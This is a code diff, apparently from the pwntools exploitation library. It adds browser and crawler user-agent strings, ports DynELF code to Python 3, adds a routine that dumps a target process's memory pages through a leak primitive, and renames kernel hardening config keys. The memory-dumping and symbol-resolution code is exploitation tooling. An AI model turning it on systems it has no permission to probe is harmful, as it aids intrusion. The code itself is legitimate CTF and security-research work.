 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.31 (KHTML, like Gecko) Chrome/13.0.748.0 Safari/534.31
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.801.0 Safari/535.1
@@ -10005,6 +10023,8 @@ Mozilla/5.0 (OS/2; Warp 4.5; rv:31.0) Gecko/20100101 Firefox/31.0
 Mozilla/5.0 (OS/2; Warp 4.5; rv:31.0) Gecko/20100101 Firefox/31.0 SeaMonkey/2.28
 Mozilla/5.0 (OS/2; Warp 4.5; rv:38.0) Gecko/20100101 Firefox/38.0
 Mozilla/5.0 (OS/2; Warp 4.5; rv:38.0) Gecko/20100101 Firefox/38.0 SeaMonkey/2.35
+Mozilla/5.0 (OS/2; Warp 4.5; rv:45.0) Gecko/20100101 Firefox/45.0
+Mozilla/5.0 (OS/2; Warp 4.5; rv:45.0) Gecko/20100101 Firefox/45.0 SeaMonkey/2.42.9esr
 Mozilla/5.0 (PLAYSTATION 3; 1.0)
 Mozilla/5.0 (PLAYSTATION 3; 1.00)
 Mozilla/5.0 (PLAYSTATION 3; 1.10)
@@ -10018,6 +10038,7 @@ Mozilla/5.0 (PlayBook; U; RIM Tablet OS 2.1.0; en-US) AppleWebKit/536.2+ (KHTML
 Mozilla/5.0 (S60; SymbOS; Opera Mobi/1181; U; en-GB; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.1
 Mozilla/5.0 (S60; SymbOS; Opera Mobi/1209; U; it; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.1
 Mozilla/5.0 (S60; SymbOS; Opera Mobi/SYB-1103211396; U; es-LA; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00
+Mozilla/5.0 (SMART-TV; X11; Linux armv7l) AppleWebkit/537.42 (KHTML, like Gecko) Chromium/25.0.1349.2 Chrome/25.0.1349.2 Safari/537.42
 Mozilla/5.0 (Sage)
 Mozilla/5.0 (Slurp/cat; [email protected]; http://www.inktomi.com/slurp.html)
 Mozilla/5.0 (Slurp/si; [email protected]; http://www.inktomi.com/slurp.html)
@@ -10072,18 +10093,27 @@ Mozilla/5.0 (Windows ME; U) Opera 6.05  [de]
 Mozilla/5.0 (Windows ME; U; en) Opera 8.51
 Mozilla/5.0 (Windows ME; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.63
 Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
+Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063
+Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.91 Safari/537.36 Vivaldi/1.92.917.39
 Mozilla/5.0 (Windows NT 10.0; ARM; Lumia 950 Dual SIM) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36
 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 UBrowser/5.6.13705.206 Safari/537.36
 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 OPR/36.0.2130.46
 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.90 Safari/537.36 Vivaldi/1.4.589.11
+Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 AOL/11.0 AOLBUILD/11.0.1305 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/47.0.2631.55
+Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/5.0.4.3000 Chrome/47.0.2526.73 Safari/537.36
 Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MATBJS; rv:11.0) like Gecko
+Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MALNJS; rv:11.0) like Gecko
 Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
 Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Edge/12.0
 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2869.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3191.0 Safari/537.36
 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
+Mozilla/5.0 (Windows NT 10.0; rv:45.9) Gecko/20100101 Goanna/3.2 Firefox/45.9 PaleMoon/27.4.0
 Mozilla/5.0 (Windows NT 4.0; U) Opera 6.05  [en]
 Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
 Mozilla/5.0 (Windows NT 5.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.1  Iron/20.0.1150.1 Safari/536.11
@@ -10145,6 +10175,8 @@ Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.
 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36
 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36
+Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 YaBrowser/17.3.0.1785 Yowser/2.5 Safari/537.36
+Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) MxBrowser/4.5.10.7000 Chrome/30.0.1551.0 Safari/537.36
 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1250.0 Iron/22.0.2150.0 Safari/537.4
 Mozilla/5.0 (Windows NT 5.1) Gecko/20100101 Firefox/14.0 Opera/12.0
 Mozilla/5.0 (Windows NT 5.1; U) Opera 7.03  [de]
@@ -15192,6 +15224,7 @@ Mozilla/5.0 (X11; ; Linux i686; en-US; rv:1.8.1.3) Gecko
 Mozilla/5.0 (X11; ; Linux i686; rv:1.9.2.20) Gecko/20110805
 Mozilla/5.0 (X11; ; Linux x86_64; rv:1.8.1.6) Gecko/20070802 Firefox
 Mozilla/5.0 (X11; Arch Linux i686; rv:2.0) Gecko/20110321 Firefox/4.0
+Mozilla/5.0 (X11; CentOS; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0
 Mozilla/5.0 (X11; CrOS i686 0.13.507) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/13.0.763.0 Safari/534.35
 Mozilla/5.0 (X11; CrOS i686 0.13.587) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.14 Safari/535.1
 Mozilla/5.0 (X11; CrOS i686 1193.158.0) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7
@@ -15205,6 +15238,7 @@ Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) C
 Mozilla/5.0 (X11; CrOS i686 4319.74.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36
 Mozilla/5.0 (X11; CrOS x86_64 5841.83.0) AppleWebKit/537.36 (KHTML like Gecko) Chrome/36.0.1985.138 Safari/537.36
 Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
+Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3178.0 Safari/537.36
 Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0
 Mozilla/5.0 (X11; FreeBSD 7.1-RELEASE i386; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.63
 Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11
@@ -15215,6 +15249,7 @@ Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/3
 Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.4 (KHTML like Gecko) Chrome/22.0.1229.79 Safari/537.4
 Mozilla/5.0 (X11; FreeBSD amd64; rv:27.0) Gecko/20100101 Firefox/27.0 SeaMonkey/2.24
 Mozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.0
+Mozilla/5.0 (X11; FreeBSD amd64; rv:54.0) Gecko/20100101 Firefox/54.0
 Mozilla/5.0 (X11; FreeBSD amd64; rv:6.0) Gecko/20110818 Firefox/6.0 SeaMonkey/2.3
 Mozilla/5.0 (X11; FreeBSD i386) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2
 Mozilla/5.0 (X11; FreeBSD i386; rv:28.0) Gecko/20100101 Firefox/28.0 SeaMonkey/2.25
@@ -15239,6 +15274,7 @@ Mozilla/5.0 (X11; Linux armv7l; rv:2.0b4pre) Gecko/20100818 Firefox/4.0b4pre Fen
 Mozilla/5.0 (X11; Linux i386; U) Opera 7.60  [en-GB]
 Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0
 Mozilla/5.0 (X11; Linux i686 (x86_64)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
+Mozilla/5.0 (X11; Linux i686 (x86_64)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3187.0 Safari/537.366
 Mozilla/5.0 (X11; Linux i686 on x86_64; rv:10.0.6) Gecko/20100101 Firefox/10.0.6 Iceweasel/10.0.6
 Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
 Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1
@@ -15284,6 +15320,7 @@ Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0
 Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2166.2 Safari/537.36
 Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36 OPR/40.0.2308.62
 Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/51.0.2704.79 Chrome/51.0.2704.79 Safari/537.36
+Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/60.0.3112.78 Chrome/60.0.3112.78 Safari/537.36
 Mozilla/5.0 (X11; Linux i686) AppleWebKit/538.1 (KHTML, like Gecko) QupZilla/1.8.6 Safari/538.1
 Mozilla/5.0 (X11; Linux i686; Debian Testing; rv:7.0.1) Gecko/20100101 Firefox/7.0.1 Iceweasel/7.0.1
 Mozilla/5.0 (X11; Linux i686; U) Opera 7.54  [en]
@@ -15387,6 +15424,7 @@ Mozilla/5.0 (X11; Linux i686; rv:40.0) Gecko/20100101 Firefox/40.0
 Mozilla/5.0 (X11; Linux i686; rv:43.0) Gecko/20100101 Firefox/43.0
 Mozilla/5.0 (X11; Linux i686; rv:46.0) Gecko/20100101 Firefox/46.0
 Mozilla/5.0 (X11; Linux i686; rv:49.0) Gecko/20100101 Firefox/49.0
+Mozilla/5.0 (X11; Linux i686; rv:49.0) Gecko/20100101 Firefox/49.0 SeaMonkey/2.46
 Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0
 Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0 Iceweasel/5.0
 Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0
@@ -15453,6 +15491,7 @@ Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55
 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/33.0.1750.152 Chrome/33.0.1750.152 Safari/537.36
 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.4 (KHTML like Gecko) Chrome/22.0.1229.56 Safari/537.4
 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) QupZilla/1.9.0 Safari/538.1
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/604.1 (KHTML, like Gecko) Version/11.0 Safari/604.1 Ubuntu/17.04 (3.24.1-0ubuntu1) Epiphany/3.24.1
 Mozilla/5.0 (X11; Linux x86_64) Gecko Firefox/5.0
 Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62
 Mozilla/5.0 (X11; Linux x86_64; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0
@@ -15516,6 +15555,7 @@ Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/3
 Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 FirePHP/0.5
 Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 Firefox/5.0
 Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 Iceweasel/5.0
+Mozilla/5.0 (X11; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
 Mozilla/5.0 (X11; Linux x86_64; rv:6.0.1) Gecko/20110831 conkeror/0.9.3
 Mozilla/5.0 (X11; Linux x86_64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1 Iceweasel/7.0.1 Debian
 Mozilla/5.0 (X11; Linux x86_64; rv:7.0a1) Gecko/20110602 Firefox/7.0a1 SeaMonkey/2.2a1pre Lightning/1.1a1pre
@@ -18563,6 +18603,7 @@ Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331 Firefox/21.0
 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0
 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0
 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0
+Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
 Mozilla/5.0 (X11; debian; Linux x86_64; rv:15.0) Gecko/20100101 Iceweasel/15.0
 Mozilla/5.0 (X11;U; Linux i686; en-GB; rv:1.9.1) Gecko/20090624 Ubuntu/9.04 (jaunty) Firefox/3.5
 Mozilla/5.0 (X11;U;Linux i686;en-US;rv:1.8.1) Gecko/2006101022 Firefox/2.0
@@ -19300,15 +19341,19 @@ Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)
 Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
 Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
 Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)
+Mozilla/5.0 (compatible; YandexNews/4.0; +http://yandex.com/bots)
 Mozilla/5.0 (compatible; YesupBot/1.0; +http://www.yesup.net/bot.html)
 Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )
 Mozilla/5.0 (compatible; Yoono; http://www.yoono.com/)
 Mozilla/5.0 (compatible; YoudaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; )
 Mozilla/5.0 (compatible; Zenbot/1.3; +http://zen.co.za/webmasters/)
 Mozilla/5.0 (compatible; aiHitBot/1.0; +http://www.aihit.com/)
+Mozilla/5.0 (compatible; alexa site audit/1.0; +http://www.alexa.com/help/webmasters; )
+Mozilla/5.0 (compatible; archive.org_bot +http://www.archive.org/details/archive.org_bot)
 Mozilla/5.0 (compatible; archive.org_bot/1.10.0 +http://www.loc.gov/minerva/crawl.html)
 Mozilla/5.0 (compatible; archive.org_bot/1.13.1x http://crawler.archive.org)
 Mozilla/5.0 (compatible; archive.org_bot/1.5.0-200506132127 http://crawler.archive.org) Hurricane Katrina
+Mozilla/5.0 (compatible; archive.org_bot; Wayback Machine Live Record; +http://archive.org/details/archive.org_bot)
 Mozilla/5.0 (compatible; bingbot/2.0  http://www.bing.com/bingbot.htm)
 Mozilla/5.0 (compatible; bingbot/2.0 +http://www.bing.com/bingbot.htm)
 Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
@@ -19352,6 +19397,7 @@ Mozilla/5.0 (en-US;rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2
 Mozilla/5.0 (en-us) AppleWebKit/525.13 (KHTML, like Gecko; Google Web Preview) Version/3.1 Safari/525.13
 Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.2; U; de-DE) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/234.40.1 Safari/534.6 TouchPad/1.0
 Mozilla/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit/601.1 (KHTML, like Gecko) CriOS/49.0.2623.109 Mobile/14A5335b Safari/601.1.46
+Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5362a Safari/604.1
 Mozilla/5.0 (iPad; CPU OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Mobile/9B176
 Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3
 Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X; ru-ru) AppleWebKit/534.46.0 (KHTML, like Gecko) CriOS/21.0.1180.80 Mobile/9B206 Safari/7534.48.3
@@ -19390,6 +19436,8 @@ Mozilla/5.0 (iPhone Simulator; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleW
 Mozilla/5.0 (iPhone; CPU  iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
 Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/18.0.130791545 Mobile/14A5345a Safari/600.1.4
 Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A346 Safari/602.1
+Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1
+Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5362a Safari/604.1
 Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A403 Safari/8536.25
 Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
 Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4
@@ -20490,6 +20538,7 @@ Opera/9.80 (Android; Opera Mini/7.29530/27.1407; U; en) Presto/2.8.119 Version/1
 Opera/9.80 (Android; Opera Mini/7.5.33361/31.1350; U; en) Presto/2.8.119 Version/11.10
 Opera/9.80 (Android; Opera Mini/7.5.33361/31.1543; U; en) Presto/2.8.119 Version/11.1010
 Opera/9.80 (Android; Opera Mini/7.6.35766/35.5706; U; en) Presto/2.8.119 Version/11.10
+Opera/9.80 (Android; Opera Mini/9.0.1829/66.318; U; en) Presto/2.12.423 Version/12.16
 Opera/9.80 (Android;Opera Mini/6.0.24212/24.746 U;en) Presto/2.5.25 Version/10.5454
 Opera/9.80 (BlackBerry; Opera Mini/5.1.22303/22.387; U; en) Presto/2.5.25 Version/10.54
 Opera/9.80 (BlackBerry; Opera Mini/6.24209/27.1366; U; en) Presto/2.8.119 Version/11.10
@@ -21055,6 +21104,7 @@ Scooter_trk3-3.0.3
 Scope (Mars+)
 ScoutAbout
 ScoutAnt/0.1; +http://www.ant.com/what_is_ant.com/
+Screaming Frog SEO Spider/8.1
 Scrubby/2.1 (http://www.scrubtheweb.com/)
 Scrubby/2.2 (http://www.scrubtheweb.com/)
 Scrubby/2.x (http://www.scrubtheweb.com/)
@@ -21311,6 +21361,7 @@ Trampelpfad-Spider-v0.1
 TulipChain/5.x (http://ostermiller.org/tulipchain/) Java/1.x.1_0x (http://java.sun.com/) Linux/2.4.17
 TulipChain/5.xx (http://ostermiller.org/tulipchain/) Java/1.x.1_0x (http://apple.com/) Mac_OS_X/10.2.8
 Tumblr/1.0 RSS syndication (+http://www.tumblr.com/) ([email protected])
+TurnitinBot (https://turnitin.com/robot/crawlerinfo.html)
 TurnitinBot/1.5 (http://www.turnitin.com/robot/crawlerinfo.html)
 TurnitinBot/1.5 http://www.turnitin.com/robot/crawlerinfo.html
 TurnitinBot/2.0 http://www.turnitin.com/robot/crawlerinfo.html
@@ -21323,6 +21374,7 @@ TwengaBot
 Twiceler www.cuill.com/robots.html
 Twiceler-0.9 http://www.cuill.com/twiceler/robot.html
 Twisted PageGetter
+Twitterbot/1.0
 Twitturly / v0.x
 Twotrees Reactive Filter V2.0
 Tycoon Agent/Nutch-1.0-dev
@@ -21584,6 +21636,7 @@ Xenu Link Sleuth 1.2h
 Xenu Link Sleuth 1.2i
 Xenu Link Sleuth 1.xx
 Xenu Link Sleuth/1.3.7
+Xenu Link Sleuth/1.3.8
 Xenu's Link Sleuth 1.x[a-z]
 Xerka WebBot v1.0.0 [UPVOpenDir]
 Xylix

pwnlib/dynelf.py

@@ -15,7 +15,7 @@ Example
     # leaks at least one byte at that address.
     def leak(address):
         data = p.read(address, 4)
-        log.debug("%#x => %s" % (address, (data or '').encode('hex')))
+        log.debug("%#x => %s" % (address, enhex(data or '')))
         return data
 
     # For the sake of this example, let's say that we
@@ -48,6 +48,7 @@ Example
 DynELF
 """
 from __future__ import absolute_import
+from __future__ import division
 
 import ctypes
 
@@ -703,12 +704,14 @@ class DynELF(object):
             "A hash table of Elf32_Word objects supports symbol table access", or see:
             https://docs.oracle.com/cd/E19504-01/802-6319/6ia12qkfo/index.html#chapter6-48031
 
-            struct Elf_Hash {
-                uint32_t nbucket;
-                uint32_t nchain;
-                uint32_t bucket[nbucket];
-                uint32_t chain[nchain];
-            }
+            .. code-block:: c
+
+                struct Elf_Hash {
+                    uint32_t nbucket;
+                    uint32_t nchain;
+                    uint32_t bucket[nbucket];
+                    uint32_t chain[nchain];
+                }
 
             You can force an ELF to use this type of symbol table by compiling
             with 'gcc -Wl,--hash-style=sysv'
@@ -782,7 +785,7 @@ class DynELF(object):
         maskwords = leak.field(hshtab, elf.GNU_HASH.maskwords)
 
         # Skip over the bloom filter to get to the buckets
-        elfword = self.elfclass / 8
+        elfword = self.elfclass // 8
         buckets = hshtab + sizeof(elf.GNU_HASH) + (elfword * maskwords)
 
         # The chains come after the buckets
@@ -852,7 +855,7 @@ class DynELF(object):
         for offset in libcdb.get_build_id_offsets():
             address = libbase + offset
             if self.leak.compare(address + 0xC, "GNU\x00"):
-                return enhex(''.join(self.leak.raw(address + 0x10, 20)))
+                return enhex(b''.join(self.leak.raw(address + 0x10, 20)))
             else:
                 self.status("Magic did not match")
                 pass
@@ -910,3 +913,65 @@ class DynELF(object):
         self.success('*curbrk: %#x' % brk)
 
         return brk
+
+    def _find_mapped_pages(self, readonly = False, page_size = 0x1000):
+        """
+        A generator of all mapped pages, as found using the Program Headers.
+
+        Yields tuples of the form: (virtual address, memory size)
+        """
+        leak  = self.leak
+        base  = self.libbase
+
+        Ehdr  = {32: elf.Elf32_Ehdr, 64: elf.Elf64_Ehdr}[self.elfclass]
+        Phdr  = {32: elf.Elf32_Phdr, 64: elf.Elf64_Phdr}[self.elfclass]
+
+        phead = base + leak.field(base, Ehdr.e_phoff)
+        phnum = leak.field(base, Ehdr.e_phnum)
+
+        for i in range(phnum):
+            if leak.field_compare(phead, Phdr.p_type, constants.PT_LOAD) :
+                # the interesting pages are those that are aligned to PAGE_SIZE
+                if leak.field_compare(phead, Phdr.p_align, page_size) and \
+                    (readonly or leak.field(phead, Phdr.p_flags) & 0x02 != 0):
+                    vaddr = leak.field(phead, Phdr.p_vaddr)
+                    memsz = leak.field(phead, Phdr.p_memsz)
+                    # fix relative offsets
+                    if vaddr < base :
+                        vaddr += base
+                    yield vaddr, memsz
+            phead += sizeof(Phdr)
+
+    def dump(self, libs = False, readonly = False):
+        """dump(libs = False, readonly = False)
+
+        Dumps the ELF's memory pages to allow further analysis.
+
+        Arguments:
+            libs(bool, optional): True if should dump the libraries too (False by default)
+            readonly(bool, optional): True if should dump read-only pages (False by default)
+
+        Returns:
+            a dictionary of the form: { address : bytes }
+        """
+        leak      = self.leak
+        page_size = 0x1000
+        pages     = {}
+
+        for vaddr, memsz in self._find_mapped_pages(readonly, page_size) :
+            offset    = vaddr % page_size
+            if offset != 0 :
+                memsz += offset
+                vaddr -= offset
+            memsz += (page_size - (memsz % page_size)) % page_size
+            pages[vaddr] = leak.n(vaddr, memsz)
+
+        if libs :
+            for lib_name in self.bases() :
+                if len(lib_name) == 0 :
+                    continue
+                dyn_lib = self._dynamic_load_dynelf(lib_name)
+                if dyn_lib is not None :
+                    pages.update(dyn_lib.dump(readonly = readonly))
+
+        return pages

pwnlib/elf/__init__.py

@@ -10,6 +10,7 @@ from pwnlib.elf.corefile import Core
 from pwnlib.elf.datatypes import *
 from pwnlib.elf.elf import ELF
 from pwnlib.elf.elf import load
+from pwnlib.elf import maps
 from pwnlib.elf import plt
 
 __all__ = ['load', 'ELF', 'Core'] + sorted(filter(lambda x: not x.startswith('_'), datatypes.__dict__.keys()))

pwnlib/elf/config.py

@@ -1,7 +1,7 @@
 """
 Kernel-specific ELF functionality
 """
-
+from __future__ import division
 
 class KernelConfig(object):
     def __init__(self, name, title, requires=[], excludes=[], minver=0, maxver=99):
@@ -150,9 +150,9 @@ kernel_configuration = [
     Disabled('SCSI_CONSTANTS'),
     Disabled('SCSI_LOGGING'),
     Disabled('SCSI_SCAN_ASYNC'),
-    Disabled('CONFIG_MEDIA_RADIO_SUPPORT'),
-    Disabled('CONFIG_PFT'),
-    Disabled('CONFIG_SYSVIPC'),
+    Disabled('MEDIA_RADIO_SUPPORT'),
+    Disabled('PFT'),
+    Disabled('SYSVIPC'),
 
 
     # Permits reloading the kernel from disk
@@ -166,7 +166,7 @@ kernel_configuration = [
     Enabled('HIGHMEM64G', requires=['X86_32']),
     Enabled('X86_PAE', requires=['X86_32']),
     Disabled('LEGACY_VSYSCALL_NONE', requires=['X86_32', 'X86_64'], minver=4.4),
-    Disabled('CONFIG_IA32_EMULATION'),
+    Disabled('IA32_EMULATION'),
     Disabled('X86_X32'),
     Disabled('MODIFY_LDT_SYSCALL'),
     Minimum('DEFAULT_MMAP_MIN_ADDR', 65536, requires=['X86_32', 'X86_64']),
@@ -181,7 +181,7 @@ kernel_configuration = [
     Minimum('ARCH_MMAP_RND_BITS', 24, requires=['ARM64']),
     Minimum('ARCH_MMAP_RND_COMPAT_BITS', 16, requires=['ARM64']),
     Enabled('CPU_SW_DOMAIN_PAN', requires=['ARM'], minver=4.3),
-    Enabled('CONFIG_ARM64_PAN', requires=['ARM64'], minver=4.3),
+    Enabled('ARM64_PAN', requires=['ARM64'], minver=4.3),
     Disabled('OABI_COMPAT'),
     Disabled('CP_ACCESS', requires=['ARM']),
     Disabled('CP_ACCESS64', requires=['ARM64']),

pwnlib/elf/corefile.py

